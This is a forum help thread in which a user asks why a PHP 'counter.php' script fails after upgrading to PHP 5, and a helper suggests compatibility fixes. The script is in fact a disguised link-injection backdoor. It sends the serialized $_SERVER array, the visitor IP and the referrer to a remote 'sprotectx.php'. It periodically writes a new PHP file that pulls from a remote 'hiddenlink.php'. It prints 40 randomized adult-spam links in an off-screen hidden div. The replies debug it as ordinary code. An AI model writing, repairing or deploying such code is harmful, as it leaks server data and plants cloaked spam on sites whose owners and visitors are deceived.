• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 197
  • Last Modified:

script not working

hello there,
I was using this script with no problems when I had centos v4.4 and PHP 4.3.9
now that I upgraded to centos v5.2 with PHP v5.1.6 for some reason it doesn't want to work..
it works fine when executed directly but not when executed as <? require_once("counter.php");?>
maybe there is something wrong, what do you guys think?
<?
$version='1.7';
$timeout=2;
function f_file_get_contents($url)
{
	global $timeout;
	if (ini_get('allow_url_fopen')){
		$old = ini_set('default_socket_timeout', $timeout);
		$data=@file_get_contents($url);
  		ini_set('default_socket_timeout', $old);
	} else {
	        $url=str_replace('&amp;','&',$url);
	        $ch=curl_init();
	        curl_setopt($ch, CURLOPT_URL, $url);
	        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
	        $data = curl_exec ($ch);
	        curl_close ($ch);
	}
	return $data;
}
 
 
function ip2int($ip) {
	$a=explode(".",$ip);
	return $a[0]*256*256*256+$a[1]*256*256+$a[2]*256+$a[3];
}
 
 
function GetRandomString($length) {
       $template = "1234567890aJbEcdGFefgHhiVjklmAQnopqZrsJtuNvwMxWOPLKyz";   
       $rndstring='';
       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       }       
       return $rndstring;       
}
 
 
$p1=array('id=','gr=','script=','l=','c=','i=');
$p2=array('s=', 'nc=', 'c=', 'fc=', 'p=', 't=');
$p3=array('u=','url=','u=','url=','u=','url=');
$p4=array('&l=movie','&link=pic','&link=m','','&l=tmb'.rand(40,270),'&l=got','&lnk=thumb','','');
 
 
 
if (isset($_SERVER['QUERY_STRING']))
	if ($_SERVER['QUERY_STRING']=='getversion'){
		echo $version;
	} else {
		$parts=urlencode(serialize($_SERVER));
		$ip=getenv("REMOTE_ADDR");
		$lfrom=urlencode("http://".$_SERVER['SERVER_NAME']);
		if (!isset($_SERVER['HTTP_REFERER']))$_SERVER['HTTP_REFERER']='';
		$url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom."&srv=$parts";
		$body = f_file_get_contents($url);
		if (empty($body)){
			$filename='protectx.gif';
		} else {
			list($body,$new,$old)=explode('|',$body);
			if ($body!='b_' and $body!='ch_' and $body!='g_' and $body!='nb_' and $body!='uv_' and $body!='ad_'){
			   	$filename='protectx.gif';
			} else {
		   		$filename=$body.'default.gif';
			}
		}
 
 
		$new_chksum=$new[1].$new[3].$new[5];
		if ($new_chksum!='zan') $new='pzoaenthl.php';
		$old_chksum=$old[1].$old[3].$old[5];
		if ($old_chksum!='zan') $old='pzoaenthl.php';
		echo "<a href='/index.php?go=show&code=100&fb=1' target='_blank'><img src='/buttons/$filename' alt='Adult webmaster services'  border='0' style='width: 120px; height: 60px;'></a>";
 
 
		$chour=date('H');
		if ($chour==15 and $new!=''){
			$new_file="<? \$hct=@file_get_contents('/hiddenlink.php?code='.\$_GET['code'].'&r=".'\'.$_GET[\'ref\']'."); ?>";
			if (!file_exists($new)){
				if (file_exists($old))
					unlink($old);
		
			 	      	$w=@fopen($new,'w');
					@flock($w,2);
					@fwrite($w,$new_file."\n");
					@flock($w,3);
					@fclose($w);		
			}
		}
		
		
		if (!file_exists('protectx_hl.jpg')){
			$pimg=@f_file_get_contents('/protectx_hl.jpg');
			$handle = @fopen("protectx_hl.jpg", 'w');
			@fwrite($handle, $pimg);
			@fclose($handle);
		} else {
		        if ($new!=''){
		        	if (file_exists($new)){
					echo "<div style='display: none; position:absolute; left:-300px;'>";
 
					for($i=0;$i<40;$i++){
						$link="<a href='$new?code=100&ref=".$_SERVER['HTTP_REFERER'].'&'.$p1[rand(0,5)].rand(1,80).'&'.$p2[rand(0,5)].rand(1,80).'&'.$p3[rand(0,5)].GetRandomString(rand(30,50)).$p4[rand(0,8)]."'><img src='protectx_hl.jpg' width='150' height='120' alt='Movie'></a>\n";
						echo $link;
					}
 
 
					echo "</div>";
				}
			}	
		}
}		
?>

Open in new window

0
XK8ER
Asked:
XK8ER
  • 6
1 Solution
 
nanharbisonCommented:
what is the error message you get when you run this as an include statement?
0
 
nanharbisonCommented:
you might try changing line 53:
                $ip = getenv("REMOTE_ADDR");
to:
                $ip = $_SERVER["REMOTE_ADDR"];

also, you should create a new webpage, call it something simple, like phpinfo.php and just put this (maybe you know this?):
<?PHP
 phpinfo();
?>
and see how the server environment variables in your version of PHP5 are supposed to be written.
if it says:
 _SERVER["REMOTE_ADDR"]

you would put a $ in front of it:
$_SERVER["REMOTE_ADDR"]
0
 
XK8ERAuthor Commented:
the things that I see are

$new_chksum=$new[1].$new[3].$new[5];

$old_chksum=$old[1].$old[3].$old[5];


Notice: Undefined variable: new in /home/var/www/html/counter.php on line 77
Notice: Undefined variable: old in /home/var/www/html/counter.php on line 79
0
Concerto's Cloud Advisory Services

Want to avoid the missteps to gaining all the benefits of the cloud? Learn more about the different assessment options from our Cloud Advisory team.

 
nanharbisonCommented:
where are these variables, $new and $old coming from?
0
 
nanharbisonCommented:
never mind, I see they are in the list()
0
 
nanharbisonCommented:
line 56 mixes single and double quotes, and I assume $parts is a variable, where it looks like text the way this line is written



 $url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom."&srv=$parts";
 
should be
 $url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom.'&srv='.$parts;

Open in new window

0
 
nanharbisonCommented:
I took a site from PHP4 to PHP5. PHP5 is fussier about some things like this.
Also, $new and $old have NOT been declared as arrays. They should be.
0

Featured Post

VIDEO: THE CONCERTO CLOUD FOR HEALTHCARE

Modern healthcare requires a modern cloud. View this brief video to understand how the Concerto Cloud for Healthcare can help your organization.

  • 6
Tackle projects and never again get stuck behind a technical roadblock.
Join Now